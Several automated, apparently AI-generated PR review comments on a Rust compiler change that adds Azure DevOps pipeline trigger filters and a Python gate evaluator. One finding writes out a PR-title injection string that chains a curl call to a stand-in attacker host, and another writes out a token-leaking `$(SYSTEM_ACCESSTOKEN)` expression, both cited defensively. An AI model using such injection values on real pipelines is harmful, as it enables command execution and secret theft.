• The Fact/Predicate separation is clean and the three-pass architecture (lower → validate → codegen) is well-reasoned. Compile-time conflict detection for impossible filter combos is a meaningful safety improvement.
• The Python evaluator being base64-encoded into the spec (rather than a side-deployed script) is elegant — no deployment coordination needed.
• Label matching via case-insensitive per-label comparison (instead of space-concatenation + word grep) correctly handles labels with spaces.
• The validate_pr_filters/validate_pipeline_filters coverage for impossible combos (min > max, zero-width time windows, include/exclude overlap) is thorough, and the test coverage for these is solid.
• shell_escape in the inline path correctly strips single quotes, preventing single-quote injection into grep -qE '...' patterns.

Generated by Rust PR Reviewer for issue #345 · ● 2.1M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid architecture, but has two correctness bugs that would cause silent runtime misbehavior, one broken bash condition, and a couple of error-handling gaps worth fixing before merge.

---

Findings

🐛 Bugs / Logic Issues

• src/compile/filter_ir.rs — Fact::ChangedFileCount missing ChangedFiles dependency (line ~108)

  Fact::ChangedFileCount => &[], // may come from ChangedFiles or fresh fetch

  acquisition_bash() for ChangedFileCount unconditionally reads $CHANGED_FILES:

  FILE_COUNT=$(echo "$CHANGED_FILES" | grep -c . || echo '0')

  But if the user configures only min-changes/max-changes without a file-glob filter, ChangedFiles is never included in the required-facts set, so $CHANGED_FILES is unset. grep -c . on empty input returns 0, silently treating the PR as having zero changed files. The fix is:

  Fact::ChangedFileCount => &[Fact::ChangedFiles],

• src/compile/filter_ir.rs — Broken PrMetadata JSON-validation condition (line ~165)

  if [ -z "$PR_DATA" ] || echo "$PR_DATA" | python3 -c "..." 2>/dev/null; [ $? -ne 0 ] 2>/dev/null; then

  In bash, if cmd1; cmd2; then evaluates the then branch based on cmd2's exit code, not cmd1. The [ -z "$PR_DATA" ] short-circuit is completely ignored — the warning fires only when JSON parsing fails, not when $PR_DATA is empty. An empty API response silently passes validation and the downstream IS_DRAFT / PR_LABELS extractions receive "". Fix:

  if [ -z "$PR_DATA" ] || ! echo "$PR_DATA" | python3 -c "import sys,json; json.load(sys.stdin)" 2>/dev/null; then

• src/compile/pr_filters.rs / src/compile/common.rs — Validation errors produce invalid YAML step output

  When validate_pr_filters() / validate_pipeline_filters() return Severity::Error diagnostics, generate_pr_gate_step() and generate_pipeline_gate_step() return a bare comment string like "# FILTER ERROR: min-changes > max-changes". This string is then pushed directly into steps_parts and interpolated into the YAML output. A bare # comment at step indentation is not a valid YAML step definition, and will produce a confusing pipeline-parse error rather than a clean compile-time failure.

  TriggerFiltersExtension::validate() correctly uses anyhow::bail!, but the inline code path bypasses it. Both generator functions should return anyhow::Result<String> and propagate errors.

🔒 Security Concerns

• src/compile/filter_ir.rs / src/compile/common.rs — ADO macro expansion inside double-quoted bash assignments

  All Tier 1 fact acquisitions use the pattern:

  TITLE="$(System.PullRequest.Title)"

  ADO expands $(System.PullRequest.Title) before bash runs. If a PR title contains " (e.g. Fix "thing"), the expansion produces TITLE="Fix "thing"" — a bash syntax error, or worse, an injection opportunity if the content is carefully crafted. Consider assigning without quoting (TITLE=$(System.PullRequest.Title)) or sanitizing at the ADO variable level. This affects all 8 Tier 1 pipeline-variable facts.

• src/compile/types.rs — expression escape-hatch unsanitized for ADO expressions (lines ~893, ~1006)

  PrFilters.expression and PipelineFilters.expression are sanitized only by sanitize_config(), which neutralizes ##vso[ but passes $(...) / $[...] / ${{ ADO expressions through unmodified. The field is embedded verbatim into the job condition: YAML. Since this is a documented escape hatch, add a comment that this field is trusted author-only input (i.e., it must not be populated from external/untrusted sources). If it ever becomes settable via external parameters, reject_ado_expressions() from validate.rs will need to be applied first.

⚠️ Suggestions

• src/compile/extensions/trigger_filters.rs — Duplicate validation

  TriggerFiltersExtension::validate() calls validate_pr_filters() / validate_pipeline_filters(), and the inline step generators call them again independently. If the extension validate() phase runs first and fails fast, the generator code path still re-validates. Consider having the generators accept pre-validated checks (already lowered), or make generate_pr_gate_step / generate_pipeline_gate_step only callable after validation, to avoid the double work and the diverging error-reporting paths (anyhow::bail! vs eprintln!).

• src/compile/filter_ir.rs — ChangedFileCount dependency comment vs. reality

  The comment // may come from ChangedFiles or fresh fetch implies independent fetching is possible, but no such fresh-fetch path exists in acquisition_bash(). Once the dependency bug above is fixed, remove the "or fresh fetch" hedge to avoid future confusion.

✅ What Looks Good

• The three-pass IR (Lower → Validate → Codegen) is well-structured and the Fact/Predicate separation is clean. The BTreeSet-based topo-sort for fact acquisition ordering is a nice correctness guarantee.
• The shell_escape allowlist approach in pr_filters.rs is appropriately conservative for regex patterns.
• gate-eval.py handling of the fail_open / fail_closed / skip_dependents policies is correct and matches the Rust-side definitions.
• TriggerFiltersExtension::is_needed() correctly gates the evaluator download behind a needs_evaluator() check — clean separation of Tier 1 vs Tier 2/3.
• The migration from triggers: / top-level schedule: to on: is handled correctly with backward-compatibility via the accessor methods on FrontMatter.

Generated by Rust PR Reviewer for issue #345 · ● 1.8M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Well-designed IR architecture with solid security fundamentals, but two correctness bugs need addressing before merge.

Findings

🐛 Bugs / Logic Issues

• generate_setup_job returns String — validation errors for Tier-1-only filter conflicts silently produce YAML comments instead of failing compilation.

  generate_pr_gate_step and generate_pipeline_gate_step call validate_pr_filters / validate_pipeline_filters, then return "# FILTER ERROR: ..." on error because the callers can't propagate Result. For example, author.include ∩ author.exclude overlap or build_reason.include ∩ build_reason.exclude overlap are Tier-1-only conflicts (AuthorEmail and BuildReason are both pipeline vars). TriggerFiltersExtension::validate() — which does anyhow::bail!() — is only activated for Tier 2/3 filters, so these conflicts compile silently with a broken gate step.

  Fix: change generate_setup_job signature to -> Result<String> and propagate errors from the inline gate generators.

• has_ext_setup guards inline gate generation against all extensions' setup_steps(), not just TriggerFiltersExtension.

  // Tier 1 inline gate steps — only when no extension provided gate steps
  if !has_ext_setup {
      if let Some(filters) = pr_filters { ... }
  }

  Any future extension that implements setup_steps() will silently disable the inline PR/pipeline gate, leaving no gate step at all for Tier-1-only filters. The comment says "no extension provided gate steps" but the guard checks any setup step. This will become a real bug as soon as the Lean extension (or any other) gains a setup step. The guard should check specifically whether TriggerFiltersExtension contributed gate steps, not whether any extension contributed any setup step.

• Fact::acquisition_bash() is dead code (~180 lines). The new codegen paths (compile_gate_step_external uses the Python evaluator; compile_gate_step_inline uses fact_inline_var()) never call it. Beyond dead code, the PrMetadata arm contains a broken bash condition:

  if [ -z "$PR_DATA" ] || echo "$PR_DATA" | python3 -c "..." 2>/dev/null; [ $? -ne 0 ] 2>/dev/null; then

  In bash, if cmd1; cmd2; then runs cmd1 unconditionally and tests cmd2. Here [ $? -ne 0 ] tests the exit code of the Python pipe (success → $? = 0 → condition false → warning never fires). Recommend removing the method or replacing it with a todo!() / unimplemented!().

⚠️ Suggestions

• PatternFilter pattern values could silently mangle regex at runtime. shell_escape strips all chars outside the allowlist including ', #, !. A regex like (?i:foo) would be stripped to (ifoo), altering semantics without any diagnostic. Consider adding a compile-time regex syntax check (e.g., via the regex crate's Regex::new()) and emitting a warning/error if the pattern is invalid.

• The deserialization tests in types.rs test OnConfig directly but don't cover FrontMatter round-trip. The on: rename (#[serde(rename = "on")]) is not exercised by any test that deserializes a complete FrontMatter struct with the new on: key. A single integration test like name: test\non:\n schedule: daily around 14:00\n through FrontMatter would give confidence the rename works correctly.

✅ What Looks Good

• Security posture is solid. The inline bash generation correctly uses shell_escape which prevents single-quote breakout (single quotes are stripped). The base64-encoded gate spec prevents ADO macro expansion inside the spec JSON. The Python evaluator's self_cancel uses urllib (no shell subprocess), eliminating command injection there. The expression escape hatch applies only to YAML condition: fields, not bash steps.
• The three-pass IR design is clean — lowering, validation, and codegen are well-separated. The GateContext abstraction neatly handles the PR vs. pipeline-completion distinction.
• TriggerFiltersExtension::validate() correctly bail!s on errors for Tier 2/3 filters. The extension registration in collect_extensions() is correct.
• Test coverage across lowering, validation, and codegen is comprehensive for the happy path.

Generated by Rust PR Reviewer for issue #345 · ● 1.4M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Good architectural direction, but has one exploitable security bug and two logic errors that need addressing before merge.

---

Findings

🔒 Security Concerns

• src/compile/filter_ir.rs (Tier 1 inline codegen — fact_inline_var / compile_gate_step_inline) — ADO macro expansion in bash script body with user-controlled values.

  The generated bash looks like:

  TITLE="$(System.PullRequest.Title)"
  ```
  ADO performs string substitution on the entire `bash: |` block **before** bash runs. A PR author can craft a title like:
  ```
  foo" && curl (attacker.example/redacted) && echo "

  to produce a broken/injected bash script. The same issue applies to AuthorEmail ($(Build.RequestedForEmail)) and CommitMessage ($(Build.SourceVersionMessage)).

  SYSTEM_ACCESSTOKEN is already correctly passed via the env: section. User-controlled facts should follow the same pattern — pass via env: and reference as $TITLE, $AUTHOR, etc.:

  - bash: |
      TITLE="$ADO_PR_TITLE"
      ...
    env:
      ADO_PR_TITLE: $(System.PullRequest.Title)
      SYSTEM_ACCESSTOKEN: $(System.AccessToken)

  The Tier 2 external path (compile_gate_step_external) has the same issue with its collect_ado_exports loop — it also embeds "$(System.PullRequest.Title)" directly in the script body rather than using the env: section.

---

🐛 Bugs / Logic Issues

• **src/compile/filter_ir.rs:~260 — `Fact::PrMeta(redacted) — The error-detection shell condition is broken for the empty-response case.

  if [ -z "$PR_DATA" ] || echo "$PR_DATA" | python3 -c "..."; [ $? -ne 0 ] 2>/dev/null; then

  In bash, if CMD1; CMD2; then tests CMD2's exit code, not the whole list. CMD2 here is [ $? -ne 0 ], where $? is the result of CMD1.

  Case	CMD1 exits	$? in CMD2	CMD2	Warning shown?
  PR_DATA empty	0 (short-circuit)	0	0 -ne 0 → false	❌ (should warn)
  Valid JSON	0	0	false	✅
  Invalid JSON	1	1	true	✅

  When curl fails and PR_DATA is empty, the warning is silently skipped, then IS_DRAFT and PR_LABELS execute echo "" | python3 ... and produce garbage values. The intended condition should be:

  if [ -z "$PR_DATA" ] || ! echo "$PR_DATA" | python3 -c "import sys,json; json.load(sys.stdin)" 2>/dev/null; then

• src/compile/common.rs:~1537 — generate_setup_job gate variable selection — When both pr_filters and pipeline_filters are active, the condition applied to user-provided setup steps only checks prGate.SHOULD_RUN:

  let gate_var = if pr_filters.is_some() {
      "prGate.SHOULD_RUN"
  } else {
      "pipelineGate.SHOULD_RUN"
  };

  If a build passes the PR gate but fails the pipeline gate, user setup steps run anyway. generate_agentic_depends_on correctly ANDs both conditions for downstream jobs — the same logic should apply here. Both gate vars should be checked:

  let condition = match (pr_filters.is_some(), pipeline_filters.is_some()) {
      (true, true) => "and(eq(variables['prGate.SHOULD_RUN'], 'true'), eq(variables['pipelineGate.SHOULD_RUN'], 'true'))".to_string(),
      (true, false) => "eq(variables['prGate.SHOULD_RUN'], 'true')".to_string(),
      (false, true) => "eq(variables['pipelineGate.SHOULD_RUN'], 'true')".to_string(),
      (false, false) => unreachable!(),
  };

---

⚠️ Suggestions

• src/compile/common.rs:1451 — The double .unwrap() is technically safe (guarded by has_pr_trigger) but brittle. Prefer if let Some(on) = on_config { if let Some(pr) = &on.pr { return generate_native_pr_trigger(pr); } }.

• src/compile/pr_filters.rs / src/compile/common.rs — generate_pr_gate_step / generate_pipeline_gate_step — Validation errors are silently smuggled out as shell comments in the generated bash. The function signature -> String prevents callers from detecting compilation failure. Consider returning Result<String, Vec<Diagnostic>> so callers can surface errors to the user instead of hiding them in the output YAML.

---

✅ What Looks Good

• The three-pass IR architecture (lower → validate → codegen) is clean and the compile-time conflict detection table is well thought out.
• check.name and build_tag_suffix are &'static str — no injection risk in ##vso[...] commands.
• generate_agentic_depends_on correctly ANDs both gate conditions in the downstream job condition:.
• shell_escape for regex/glob patterns is conservative and sensible for the grep use case.
• The Fact dependency graph and topological ordering infrastructure is well structured for future extension.

Generated by Rust PR Reviewer for issue #345 · ● 2.1M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid architectural foundation with a few correctness bugs, one test that writes to the source tree, and a missed error propagation pattern.

---

Findings

🐛 Bugs / Logic Issues

• src/compile/filter_ir.rs — ChangedFileCount undeclared dependency (Fact::dependencies()): ChangedFileCount::acquisition_bash() uses $CHANGED_FILES which is populated by Fact::ChangedFiles, but dependencies() returns &[]. The topological sort in collect_ordered_facts currently emits them in the correct order only because BTreeSet<Fact> happens to iterate enum variants in declaration order — a fragile coincidence. Should be Fact::ChangedFileCount => &[Fact::ChangedFiles].

• **src/compile/filter_ir.rs — Fact::PrMeta(redacted) error condition is inverted**: The guard if [ -z "$PR_DATA" ] || echo "$PR_DATA" | python3 ...; [ $? -ne 0 ]only fires the warning when JSON parsing **fails**, not when$PR_DATAis **empty** (a failed curl returns 0 for the empty-check branch, so[ $? -ne 0 ]is false). The function is currently dead code (the Python evaluator handles acquisition), but if it's ever wired up it will silently ignore empty-response failures. Either remove it or fix the condition toif [ -z "$PR_DATA" ] || ! echo "$PR_DATA" | python3 ...`.

• src/compile/pr_filters.rs — validation errors swallowed, compiler continues: generate_pr_gate_step and generate_pipeline_gate_step (in common.rs) call validate_{pr,pipeline}_filters, print to stderr, then embed # FILTER ERROR: ... YAML comments and return String normally. The compiler produces output without failing. These paths should return anyhow::Result(String) and propagate the error so compilation actually aborts on misconfigured Tier-1 filters. (Tier-2/3 filters correctly propagate via TriggerFiltersExtension::validate().)

• src/compile/filter_ir.rs — FactSpec has redundant fields (build_gate_spec):

  FactSpec { id: f.kind().into(), kind: f.kind().into(), ... }

  id and kind are always identical. The Python evaluator schema should use a single field, otherwise future divergence will silently break the spec contract.

🔒 Security Concerns

• src/compile/common.rs — new filter fields not covered by validate_front_matter_identity: The function validates on.pipeline.name/project/branches for newlines and ADO macro injection, but the new PR filter fields (on.pr.filters.title.match, on.pr.filters.author.include/exclude, branch patterns, etc.) are not validated with reject_pipeline_injection. The inline shell_escape guard handles bash-level injection for the inline gate path, but it doesn't block $(System.AccessToken) patterns (the $, (, and ) characters are all in the allow-list). These expand at ADO macro-substitution time, before bash sees the script. Adding reject_pipeline_injection checks for pattern/value fields in filter configs would close this.

⚠️ Suggestions

• src/compile/filter_ir.rs:test_write_schema_to_scripts: This test writes scripts/gate-spec.schema.json into the repository source tree during cargo test. Tests should not mutate the source tree — this makes test runs non-idempotent in CI and will produce dirty-working-tree failures on repeated runs. Consider either a build.rs that writes the schema, or a separate cargo xtask / CLI command, and replace the test with a schema-comparison assertion that fails with a clear message if the checked-in file is stale.

• src/compile/filter_ir.rs — acquisition_bash() is dead code: The comment block explicitly says "The inline heredoc evaluator has been removed in favor of external script delivery." The acquisition_bash() method and FailurePolicy are only referenced by the dead inline acquisition path. Consider removing them to reduce maintenance surface, or clearly mark them as reserved for a future inline-heredoc path.

✅ What Looks Good

• The Fact/Predicate separation is clean and the three-pass (lower → validate → codegen) architecture is easy to follow and extend.
• TriggerFiltersExtension::validate() correctly propagates Tier-2/3 errors as anyhow::bail! rather than printing to stderr — the Tier-1 path should match this pattern.
• collect_ado_exports correctly scopes PR API vars to cases where they're actually needed, avoiding unnecessary secrets exposure.
• shell_escape is narrow-allowlist rather than blocklist — the right approach for regex patterns in bash.
• Test coverage is thorough, especially the lowering and spec-serialization roundtrips.

Generated by Rust PR Reviewer for issue #345 · ● 2.6M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Strong architecture with solid test coverage, but there are two bugs that will cause user-visible failures (docs/deserialization mismatch), one security gap, and one supply chain concern.

---

Findings

🐛 Bugs / Logic Issues

• docs/front-matter.md uses the wrong YAML syntax for PatternFilter fields — this will cause runtime deserialization errors for users following the docs.

  The documentation shows object form:

  source-branch:
    match: "^feature/.*"

  But PatternFilter is defined with #[serde(transparent)] and a single pattern: String field — it only deserializes from a bare string:

  source-branch: "feature/*"

  Every PatternFilter example in docs/front-matter.md (title: {match: ...}, source-pipeline: {match: ...}, source-branch: {match: ...}, target-branch: {match: ...}, commit-message: {match: ...}) will fail to parse with a serde type error. The fixtures (e.g. pr-filter-tier1-agent.md) correctly use the bare string form, so the docs are simply wrong.

• docs/front-matter.md examples use regex patterns, not glob patterns — the examples show "^feature/.*", "^main$", and "^(?!.*\\[skip-agent\\])". These are regex patterns, but the implementation uses glob semantics (* = any chars, ? = single char). After re.escape(), the ^, $, . characters become literal — users writing these patterns will get no matches and no error message.

• docs/filter-ir.md references RegexMatch/regex_match throughout (Predicate table, field mapping tables, gate spec example) but the code generates GlobMatch/glob_match and gate-spec.schema.json only defines glob_match. The docs describe a removed design that was replaced by the glob-based approach. Two places in particular are confusing: the example JSON gate spec (which shows "type": "regex_match") and the predicate table (which says | regex_match | Python re.search() |).

🔒 Security Concerns

• expression escape hatch does not check for ADO macro/template injection (src/compile/common.rs).

  The validation checks for {{ }} template markers and ##vso[] commands, but the most relevant ADO injection vectors are ${{ }} template expressions and $() macro syntax — both of which can be used to exfiltrate secrets or escalate permissions in the generated pipeline YAML. validate::contains_ado_expression() already implements this check; it just needs to be called:

  // Already exists in validate.rs — should be called here:
  if crate::validate::contains_ado_expression(expr) {
      anyhow::bail!("Filter expression contains ADO expression ...");
  }

  A user could write expression: "$(SYSTEM_ACCESSTOKEN)" and it would be injected verbatim into the ADO condition: YAML.

• scripts.zip download has no integrity check (src/compile/extensions/trigger_filters.rs:76).

  The generated download step does curl -fsSL .../scripts.zip without verifying a SHA256 checksum, even though checksums.txt (which includes scripts.zip) is published to every release. A MITM or a compromised CDN edge could substitute the evaluator. Consider embedding the expected SHA256 (computed at compile time via build.rs or hardcoded and auto-updated by CI) and adding a sha256sum -c step.

⚠️ Suggestions

• setup_steps() panics instead of propagating errors (src/compile/extensions/trigger_filters.rs:92,104).

  The .expect("... this is a bug") calls are safe under the assumption that validate() runs first, but setup_steps() returns Vec<String> (not Result), so the panic is the only option given the current trait signature. Since this is a CompilerExtension trait change opportunity (this PR already adds setup_steps() to the trait), consider returning Result<Vec<String>> to allow graceful error propagation. Alternatively, document the invariant explicitly on the trait.

• ADO branch variables include refs/heads/ prefix — $(System.PullRequest.SourceBranch) returns refs/heads/feature/my-branch, so the fixture pattern source-branch: "feature/*" will not match at runtime. The Python unit tests only test the evaluator in isolation (with a bare feature/my-branch value), so this is not caught. Consider either stripping the prefix in acquire_fact() or documenting that patterns must account for it (e.g. refs/heads/feature/*).

✅ What Looks Good

• The three-pass IR (lower → validate → codegen) is well-structured; compile-time validation gives good error messages for min > max, zero-width time windows, and include/exclude contradictions.
• Using env: block for ADO variable injection (instead of bash exports) is the correct ADO pattern and prevents injection of PR title/branch values into the script environment.
• Base64-encoding the gate spec via GATE_SPEC keeps the generated YAML clean and avoids YAML-within-YAML quoting issues.
• Kahn's topo-sort for fact ordering is correct and properly detects cycles with anyhow::ensure!.
• #[serde(transparent)] for PatternFilter is clean and the serde deny_unknown_fields style is good.

Generated by Rust PR Reviewer for issue #345 · ● 5.4M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Well-architected feature with one genuine behavioral bug in the Python evaluator, a policy deviation on System.AccessToken usage for writes, and misleading unit test coverage.

---

Findings

🐛 Bugs / Logic Issues

• scripts/gate-eval.py:95-96 + main() — fail_open propagation broken for changed_file_count

  When the PR iterations API call (changed_files) fails, the fact is added to fail_open_facts — which correctly causes any check directly using changed_files to pass (fail-open). However, changed_file_count is then acquired successfully with a value of 0:

  if kind == "changed_file_count":
      files = acquired.get("changed_files", [])   # returns None, not []
      return len(files) if isinstance(files, list) else 0  # → 0

  The evaluator computes changed_file_count = 0 without raising, so it never enters fail_open_facts. A subsequent min-changes: 1 predicate then evaluates 0 >= 1 → FAIL, silently blocking the build even though the intent of FailOpen on changed_files is to allow execution when the API is unavailable.

  The fix is to propagate fail_open_facts to dependents (analogous to how skip_facts propagates via FACT_DEPS), or to return None from acquire_fact("changed_file_count", ...) when changed_files is None/in fail_open_facts, forcing it into fail-open handling.

• tests/compiler_tests.rs + src/compile/types.rs — unit tests silently test via the old triggers: key

  All 8 new test_pr_trigger_config_* unit tests in types.rs parse YAML with triggers: as the top-level key, then manually extract val["triggers"] and deserialize it into OnConfig. Since FrontMatter now maps on_config with #[serde(rename = "on")], these tests never exercise the actual field rename. A regression that accidentally re-accepted triggers: in full front matter parsing would be invisible to these tests.

  The test_pr_trigger_in_full_front_matter test at the bottom correctly uses parse_markdown with on: — the other 8 tests should do the same, or at minimum be documented as raw-OnConfig deserialization tests that don't test the FrontMatter rename.

🔒 Security Concerns

• scripts/gate-eval.py:251-269 + src/compile/filter_ir.rs — System.AccessToken used for a write operation

  The gate step always injects SYSTEM_ACCESSTOKEN: $(System.AccessToken) into the step env: block. The self_cancel() function then uses this token for a PATCH to _apis/build/builds/{id} — a write operation. The project convention (from docs/network.md) is that ADO tokens come from ARM service connections; System.AccessToken should not be used directly for writes.

  Additionally, SYSTEM_ACCESSTOKEN is always passed even for filter configurations that don't require any REST API calls (e.g., title-only glob filters). If self-cancellation via the REST API isn't feasible with the standard token, the build will log a warning and continue running rather than cancelling — silently defeating the entire gate.

  Consider: (a) restricting SYSTEM_ACCESSTOKEN injection to only when REST API facts are needed, and (b) documenting the expected token permissions required for self-cancellation to work.

⚠️ Suggestions

• src/compile/common.rs:generate_setup_job — dead has_filters assignment

  let has_filters = pr_filters.is_some() || pipeline_filters.is_some();
  // ... 20 lines later ...
  let has_gate = has_filters;

  has_filters is never used directly — it's immediately aliased. Either inline it into has_gate or drop the intermediate binding.

• scripts/gate-eval.py:main() — fail_closed default mismatches FailurePolicy comment

  In the Python evaluator, fail_closed is the default policy (policy = fact_spec.get("failure_policy", "fail_closed")), but the Rust Fact::failure_policy() for pipeline variables returns FailurePocily::FailClosed. This is consistent — however, it means any unknown/typo'd policy string silently becomes fail_closed rather than an error. A small guard assert policy in ("fail_closed", "fail_open", "skip_dependents") after fact_spec.get(...) would surface schema drift early.

✅ What Looks Good

• Architecture: The 3-pass IR (lower → validate → codegen), Kahn's topo-sort for fact ordering, and clean separation of Fact (acquisition) from Predicate (evaluation) are solid. The Python evaluator reads entirely from the base64 spec + env block with no bash interpolation of PR values — the injection risk is well-controlled.
• ADO condition generation: The or(ne(variables['Build.Reason'], 'PullRequest'), eq(dependencies.Setup.outputs['prGate.SHOULD_RUN'], 'true')) pattern for the Agent job condition correctly handles bypass for non-PR builds.
• Compile-time validation: Catching min > max, empty time windows, zero-width include∩exclude overlaps, and ${{ injection in expression at compile time is exactly right.
• Test coverage: 40 Python evaluator tests covering all predicate types, the tests/compiler_tests.rs integration tests, and fixture-based YAML validity checks provide good breadth.

Generated by Rust PR Reviewer for issue #345 · ● 2M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Needs changes — strong architecture and security design, but there's a critical YAML indentation bug that will cause all generated pipelines to fail in Azure DevOps.

---

Findings

🐛 Bugs / Logic Issues

[src/compile/common.rs:1214-1215, src/compile/extensions/trigger_filters.rs:68-104] — Critical: extension setup steps are placed at the wrong YAML nesting level

Extension steps returned from setup_steps() are pushed directly into steps_parts without indentation, then placed at {} (column 0) in the generate_setup_job format string. User steps go through format_steps_yaml_indented(setup_steps, 4) which adds the required 4-space indent, but extension steps do not. The compiled lock file proves this:

jobs:
  - job: Setup
    steps:
      - checkout: self
  - bash: |              # ← at jobs: level, not inside Setup's steps:
      mkdir -p /tmp/ado-aw-scripts
  - bash: python3 '/tmp/ado-aw-scripts/gate-eval.py'
    name: prGate

Both the download step and the gate step are emitted as siblings of - job: Setup in the jobs: sequence rather than as items in its steps: list. ADO will reject these as malformed job definitions. The assert_valid_yaml test passes because it only calls serde_yaml::from_str — it validates YAML syntax but not ADO pipeline semantics.

Fix: pass ext_setup_steps through an indentation helper (indent 4) before adding to steps_parts, or pre-indent the raw strings in compile_gate_step_external and the download step template.

---

[src/compile/extensions/trigger_filters.rs:88,100] — .expect() on user-facing codegen path

setup_steps() calls compile_gate_step_external(...).expect("...is a bug"). The comment's reasoning ("validate() runs first") is correct in the current call order, but setup_steps() returns Vec<String>, not Result, so there's no contract enforcement. If the ordering ever changes or a new caller skips validate(), this panics instead of returning an error. The method signature should return Result<Vec<String>> to match the rest of the compile pipeline.

---

[scripts/gate-eval.py:109-139] — _fetch_changed_files fetches last-iteration diff only

The function gets the last iteration's ID and fetches only that diff. For a PR with multiple iterations (force pushes, new commits), files changed in earlier iterations are invisible to file_glob_match predicates. A PR that adds secrets.txt in iteration 1 and removes it in iteration 2 will pass a files: exclude: ["secrets.txt"] filter. Whether this is intentional scoping to "current state" vs "PR history" should be documented.

---

🔒 Security Concerns

[src/compile/filter_ir.rs:1135-1138] — SYSTEM_ACCESSTOKEN conflicts with project security model

The gate step unconditionally injects SYSTEM_ACCESSTOKEN: $(System.AccessToken). The repo convention (enforced everywhere else) is that ADO tokens come from ARM service connections; System.AccessToken should not be used directly. Using the built-in token also requires pipeline authors to manually enable "Allow scripts to access the OAuth token" — a non-default setting the compiler cannot verify. The self-cancel PATCH requires write scope on the builds API, which the default read-only token doesn't grant.

---

⚠️ Suggestions

[src/compile/filter_ir.rs:216, src/compile/pr_filters.rs:12,104] — Dead code / clippy warnings in new code

cargo clippy --all-targets --all-features reports multiple warnings all introduced by this PR:

• Predicate::And, Or, Not variants — defined in the enum but never constructed (lowering doesn't use them)
• Severity::Info — defined but never constructed
• Fact::is_pipeline_var() — never called
• generate_gate_spec_schema() — never called
• unused import: PrFilters in pr_filters.rs:12
• unused import: super::* in pr_filters.rs:104

These suggest the Tier-1 inline path and the schema export were removed mid-development but the stubs weren't cleaned up.

[src/compile/common.rs:1320-1357] — Condition indentation is cosmetically wrong

The generated condition: block has inconsistent indentation (4 spaces for and(, then 10 spaces for or(). While ADO's expression parser is whitespace-tolerant, this makes the output hard to read in the portal.

---

✅ What Looks Good

• 3-pass IR (lower/validate/codegen) is cleanly separated; compile-time conflict detection (min/max, time-window, label overlap) is comprehensive.
• env: block for ADO variable injection — the right call. Using env: rather than bash expansion prevents injection via malicious PR titles/branch names. The base64-encoded GATE_SPEC similarly can't be tampered with at runtime.
• Kahn's topo-sort for fact ordering — correct choice over relying on enum variant order.
• Overnight time windows handled correctly in gate-eval.py (start > end → current >= start or current < end).
• Bypass logic (non-PR/pipeline builds auto-pass the gate) is sound.
• expression escape-hatch validation properly blocks $(, ${{, ##vso[ injection patterns.

Generated by Rust PR Reviewer for issue #345 · ● 3.3M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid architecture with good security foundations — three focused findings worth addressing before merge.

---

Findings

🔒 Security Concerns

• scripts/gate-eval.py line 259 + src/compile/filter_ir.rs (compile_gate_step_external): The generated gate step injects SYSTEM_ACCESSTOKEN: $(System.AccessToken) and the comment acknowledges this requires "Allow scripts to access the OAuth token" enabled on the pipeline. This directly violates the project convention documented in docs/network.md: "ADO tokens come from ARM service connections; System.AccessToken should not be used directly." The self-cancel and PR metadata REST calls both use this token. Consider either (a) accepting this as a deliberate scoped exception with explicit docs in docs/network.md, or (b) providing an ARM service-connection based path for self-cancel. As-is, this is a convention break that should be explicitly called out rather than left in a code comment.

🐛 Bugs / Logic Issues

• scripts/gate-eval.py — glob_match vs file_glob_match bracket semantics inconsistency: glob_match (used for title:, source-branch:, etc.) escapes brackets via re.escape() so [review] matches the literal string [review]. But file_glob_match (used for changed-files:) calls Python's fnmatch.fnmatch() directly, which treats [abc] as a character class matching a, b, or c. A user who writes include: ["src/[!test]*.rs"] in changed-files: will get character-class semantics, while the same pattern in source-branch: matches literally. The PR description shows title: "*[review]*" as an example that implicitly relies on the literal interpretation. The two code paths should document and/or enforce a single glob contract.

⚠️ Suggestions

• scripts/gate-eval.py line ~265, main(): The policy validation uses a bare assert:

  assert policy in ("fail_closed", "fail_open", "skip_dependents"), \
      f"Unknown failure_policy '{policy}' for fact '{kind}'"

  Python's -O / -OO flags silently strip assert statements. Since this is user-visible pipeline infrastructure, prefer:

  if policy not in ("fail_closed", "fail_open", "skip_dependents"):
      raise ValueError(f"Unknown failure_policy '{policy}' for fact '{kind}'")

• src/compile/filter_ir.rs — ADO_BUILD_REASON double-registration: ADO_BUILD_REASON is always added to the infra vars block and Fact::BuildReason.ado_exports() also returns ("ADO_BUILD_REASON", "$(Build.Reason)"). The seen set prevents double-emission correctly, but the intent is confusing. Either remove the Fact::BuildReason export (since it's guaranteed by infra vars) or add a comment explaining why both are present.

---

✅ What Looks Good

• Injection prevention via env: block: PR title, branch names, and commit messages are passed through ADO's env: block rather than being interpolated into bash. This correctly prevents injection via PR title/branch values — the right approach.
• Base64-encoded gate spec: Embedding the compiled filter spec as a base64 GATE_SPEC env var is a clean way to pass structured data without yaml-escaping concerns or injection vectors in the spec itself.
• Kahn's topo-sort with cycle detection: collect_ordered_facts properly detects cycles via progress-checking rather than relying on enum declaration order. Good defensive engineering.
• Compile-time validation pass: Catching min > max, zero-width time windows, and include/exclude overlaps at compile time rather than runtime is excellent UX.
• FailurePolicy::SkipDependents: The three-way fail policy (fail-closed / fail-open / skip-dependents) is well-designed — especially for PrMetadata which gates multiple derived facts.
• Single-quoted evaluator path in the generated bash step (python3 '/tmp/ado-aw-scripts/gate-eval.py') prevents shell word-splitting/glob expansion.

Generated by Rust PR Reviewer for issue #345 · ● 1.4M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Well-architected feature — the three-pass IR, data-driven evaluator, and env-block injection are all sound. A few correctness issues worth addressing before merge.

---

Findings

🐛 Bugs / Logic Issues

